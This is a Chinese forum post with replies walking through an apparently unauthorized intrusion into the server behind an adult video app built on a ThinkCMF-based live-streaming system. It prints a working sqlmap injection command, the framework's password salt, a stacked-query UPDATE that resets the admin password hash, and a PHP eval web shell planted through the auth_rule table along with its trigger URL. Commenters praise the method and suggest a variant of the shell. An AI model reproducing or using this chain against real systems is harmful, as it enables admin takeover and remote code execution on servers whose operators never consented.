“净网2019”打击网络色情,实录渗透某成人“抖音”

本故事纯属虚构 如有雷同纯属巧合

起因

起因.png

经排查发现该app为成人版"抖音",响应国家净网行动,坚决打击非法传播传播淫秽物品行为!

经过

下载该app,并对其进行测试。

app.jpg

使用BurpSuite抓包,环境为:夜神模拟器(安卓4)+Xpose框架+Just trust me 框架

1.jpg

2.png

发现该app是从某web地址:www.xxxxx.com的接口回调过来的。

排查web资产

域名注册信息

whois.png

Ps:这类网站域名注册信息大部分为虚假的,所以这里暂时不对域名注册人、联系邮箱等信息展开搜集。

其它资产信息

d961364af9d43b8d8bc648c194deee15.png

Web指纹:网宿CDN,PHP,Nginx,ThinkCMF
语言:PHP
服务器:网宿CDN
操作系统:Linux

ping.png

超级ping结果证实的确有CDN防护,那么就没有端口扫描的必要了。

尝试ThinkCMF默认后台地址

0ac316bb3c41465e89aa0e7860ae98d9.png

得到信息:

官网地址:www.yunbaokj.com (疑似该视频系统开发商)

在之后的测试中,确定该套系统为云豹直播系统(由ThinkCMF二次开发)

6f359d4684b0b825cbcefa5fc686bc7c.png

系统审计

从网上下载到了云豹直播系统的源码

9b5a8266b2f91368e741e73cce321d8b.png

运气很好,审计到了几处前端注入(不需要会员登陆)

注入一:

文件位置:

/application/Home/Controller/PlaybackController.class.php

c67b79f321f58d4f54cbdf8fddf3e060.png

注入链接:http://www.xxx.com/index.php?g=Home&m=Playback&touid=1

经测试,目标并不存在此处注入。

注入二:

文件位置:

/application/Appapi/Controller/VideoController.class.php

23d2b7854d3f22bb9.png

注入链接:http://www.xxx.com/index.php?g=Appapi&m=Video&videoid=1

此处注入目标就存在啦~

Ps:系统审计工程十分感谢我的好友 Joseph 对我的帮助!真挚的感谢!

注入过程踩坑与填坑

手工测试之后发现目标并没有waf之类的防护,直接扔sqlmap一把梭。

但是过程中发现能识别注入类型但不能注入出 数据,之后才发现是因为闭合问题。

给出sqlmap语句:
sqlmap -u 'http://www.xxxxxx.cn/index.php?g=Appapi&m=Video&videoid=1*' --prefix "1)" --force-ssl -v3

sqlmap1.png

注入后台管理账号密码数据

d1c963db6bee34d4d94fb2bd05ae653e.png

密码密文:###8c333e2bd6081a934f64a003514fd61c

非常规密文,再跟进一下ThinkCMF加密方式

/* 密码加密 */ public function setPass($pass){ $authcode='rCt52pF2cnnKNB3Hkp'; $pass="###".md5(md5($authcode.$pass)); return $pass; }
如果明文密码很复杂,那几乎是没有机会能解开的。

有朋友说https://cmd5.la/能解开。但是事实是很让人心碎的。

注入查看当前用户权限

78cc88f8d0eb5bae031887943870aec9.jpg

权限非常非常低,思路受阻。

柳暗花明又一村

当时因为外出有事,带的是另一台电脑,当我重新注入时有了新的发现,并且很重要!

7ab85bbfc27aee7f926ce51c163e041e.png

竟然多了一种注入类型:堆叠注入

因为我们之前研究过了ThinkCMF的算法,那现在我们直接生成一个新的密文,然后update管理员的密文,getshell之后再改回来。

1a768a0ff33313f95a3eb02219f35fb7.png

新密文:###73b13b8b4d767f6c3c2953f123d1a721

管理员最后登陆时间

lastlogintime.png

可以大胆放心的搞(admin不是管理常用账号,但仍然是超级管理员账号)

修改密文(sqlmap的sql-shell):update cmf_users set user_pass='###73b13b8b4d767f6c3c2953f123d1a721' where user_login='admin'

成功登陆:

6b6777cde78de474f7ab1b2198ff9198.png

getshell

getshell使用的是网上的一个方法

参考链接:[漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行 - 水泡泡 - 博客园

将恶意代码插入数据库中,之后利用权限校验(低权限用户)来触发。

update cmf_auth_rule set condition = '1);@eval($_POST[2]);//' where id = '29'

访问链接触发代码:

http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add&2=phpinfo();

74ba4299309bad24b55a121468a76f95.png

这里需要注意两个地方,与网上文章不同,可能是因为网上方法以版本1.6.0为基础,而目标版本为X2.1.0

1.X2.1.0版本中插入恶意代码的字段为cmf_auth_rule,而不是sp_auth_rule
2.触发链接为http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add&2=phpinfo();,而不是http://www.xxx.cn/index.php?g=Portal&m=AdminPage&a=add

结尾

已经对服务器日志等有效证据进行打包,后续将移交相关部门。

好好学习,天天向上,远离黄赌毒!

10 个赞

我也想续爷给我审计源码
@Joseph

堆叠注入这个点发现的好妙👍

赞!

很有含金量的 [渗透文章 说实在的
现在我们80后都已经是30多岁的人玩游戏都没空 更没时间玩黑客技术 还是还是会关注。遇到需要提点的 我也会给点提示。。不过这个文章相对来说 除了审计代码以外 其他都是死路类型
现在CDN 也导致了很多没办法旁注

8 个赞

除了666我不知道怎么说

赞!好想看看源码!
看见了I('videoid'),想到了之前公司好像也是用的这个.
修复了总共一百多处sql注入..
还有好多xss艹了

那个sb的输入点I()根本就不是intval过滤的,我也审计过类似的代码,只要是I('xxx')的都有问题

哈哈,绝对的好思路

大佬牛逼,这软件我似乎见过(用过)

1 个赞

::six 巧妙的堆叠注入,这个很细节

突然想学习代码审计了

大佬们,为什么这里可以让低权限用户进行shell的调用啊?

1 个赞

知识奇奇怪怪的增长了

这种框架类的我印象中很多都可以堆叠注入

thinkcmf 任意代码执行没试吗?一把梭带走呀~

基友的重要性 代码审计

思路非常骚

@eval($_POST[2]);

是不是应该改成

@eval($_GET[2]);

yunjie注意个人隐私